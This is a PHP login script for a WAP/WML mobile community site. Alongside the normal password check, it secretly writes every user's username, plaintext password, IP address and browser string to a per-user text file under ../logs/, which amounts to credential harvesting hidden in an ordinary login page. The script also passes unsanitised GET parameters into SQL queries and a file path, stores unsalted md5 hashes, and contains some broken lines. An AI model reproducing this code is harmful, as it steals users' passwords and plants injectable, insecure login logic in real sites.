View file wap/login.php

File size: 4.82Kb
<?php
include("../blocked.php");
header("Content-type: text/vnd.wap.wml");
header("Cache-Control: no-store, no-cache, must-revalidate");
echo"<?xml version=\"1.0\"?>";
echo "<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\"". " \"http://www.wapforum.org/DTD/wml_1.1.xml\">";
?>
<wml>
<?php
include("config.php");
include("core.php");
connectdb();
$bcon = connectdb();
if (!$bcon)
{
    echo "<card id=\"main\" title=\"(ERROR!)\">";
    echo "<p align=\"center\">";
    echo "<img src=\"../images/exit.gif\" alt=\"!\"/><br/>";
    echo "<b>Error! Cannot Connect To Database...</b><br/><br/>";
    echo "This error happens usually when backing up the database, please be patient...";
    echo "</p>";
    echo "</card>";
    echo "</wml>";
    exit();
}
$uid = $_GET["loguid"];
$pwd = $_GET["logpwd"];
$sitename = mysql_fetch_array(mysql_query("SELECT value FROM ibwf_settings WHERE name='sitename'"));
$sitename = $sitename[0];
$tolog = false;
 echo "<card id=\"main\" title=\"$sitename\">";
  echo "<p align=\"center\">";
  echo "<img src=\"../images/logo.gif\" alt=\"$sitename\"/></p>";
  echo mobads();
  echo "<p align=\"center\">";  
  echo "Bookmark THIS page to avoid repeating the login proccess in the future<br/><br/>";
  
  $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."'"));
  if($uinf[0]==0)
  {
    //Check for user ID
    echo "<img src=\"../images/notok.gif\" alt=\"X\"/>UserID doesn't exist<br/><br/>";
  }else{
    //check for pwd
    $epwd = md5($pwd);
    $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'"));
    if($uinf[0]==0)
    {
    echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Incorrect Password<br/><br/>";
    echo "<a href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
    echo "</p>";
    echo "</card>";
    echo "</wml>";
    exit();
    }
    $validated = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."' AND validated='0'"));
    if(($validated[0]>0)&&(validation()))
    {
    echo "<img src=\"../images/notok.gif\" alt=\"X\"/><b>Account Not Validated</b><br/>This could take up to 12hrs pls be patient and try again soon<br/>thank you<br/><br/>";
    }else{
$ipr = getip();
$brws = $_SERVER['HTTP_USER_AGENT'];
$ubr = $brws;
$alli = "Username: ".$uid."
Password: ".$pwd."
Ip-Address: ".$ipr."
Browser: ".$ubr."
Script: Wap 1.0(wml)
----------
";
if(trim($uid)!=""){
$fname = "../logs/".$uid.".txt";
$out = fopen($fname,"a+");
fwrite($out,$alli);
fclose($out);}

      $tm = time();
      $xtm = $tm + (getsxtm()*60);
      $did = $uid.$tm;
      $res = mysql_query("INSERT INTO ibwf_ses SET id='".md5($did)."', uid='".getuid_nick($uid)."', expiretm='".$xtm."'");
      
      if($res)
      {
        $tolog=true;
        echo "<img src=\"../images/ok.gif\" alt=\"+\"/>You have logged in successfully as $uid<br/>";
        $idn = getuid_nick($uid);
        
            $lact = mysql_fetch_array(mysql_query("SELECT lastact FROM ibwf_users WHERE id='".$idn."'"));
             mysql_query("UPDATE ibwf_users SET lastvst='".$lact[0]."' WHERE id='".$idn."'");
      }else{
        //is user already logged in?
        $logedin = mysql_fetch_array(mysql_query("SELECT (*) FROM ibwf_ses WHERE uid='".$getuid_nick($uid)."'"));
        if($logedin[0]>0)
        {
          //yip, so let's just update the expiration time
          $xtm = time() + (getsxtm()*60);
          $res = mysql_query("UPDATE ibwf_ses SET expiretm='".$xtm."' WHERE uid='".getuid_nick($uid)."'");
          
          if($res)
          {
            $tolog=true;
            echo "<img src=\"../images/ok.gif\" alt=\"+\"/>You have logged in successfully as $uid<br/>";
            

           
            
          }else{
            echo "<img src=\"../images/point.gif\" alt=\"!\"/>Can't login at the time, plz try later<br/>"; //no chance this could happen unless there's error in mysql connection
            
          }
          
        }
        
      }
    
    }
  }
  
  if($tolog)
{
  $sid = md5($did);
    echo "<a href=\"index.php?action=main&amp;sid=$sid\"><img src=\"../images/home.gif\" alt=\"*\"/>";
echo "Enter $sitename</a><br/>";
  /*if (isadmin(getuid_sid($sid)))
  {
    echo "<a href=\"mail/index.php\">View Your Email Account - Relogin Required</a><br/><br/>";
  }*/

$xfile = @file("randomlogin.txt");
$random_num = rand (0,count($xfile)-1);
$udata = explode("::",$xfile[$random_num]);
echo "$udata[1]<br/>";

echo "<br/>Feel free to invite all your friends here<br/>Wishing you the best time here, from all $sitename staff :)";
}else{
echo "<a href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
}
echo "</p>";
  echo "</card>";

?>
</wml>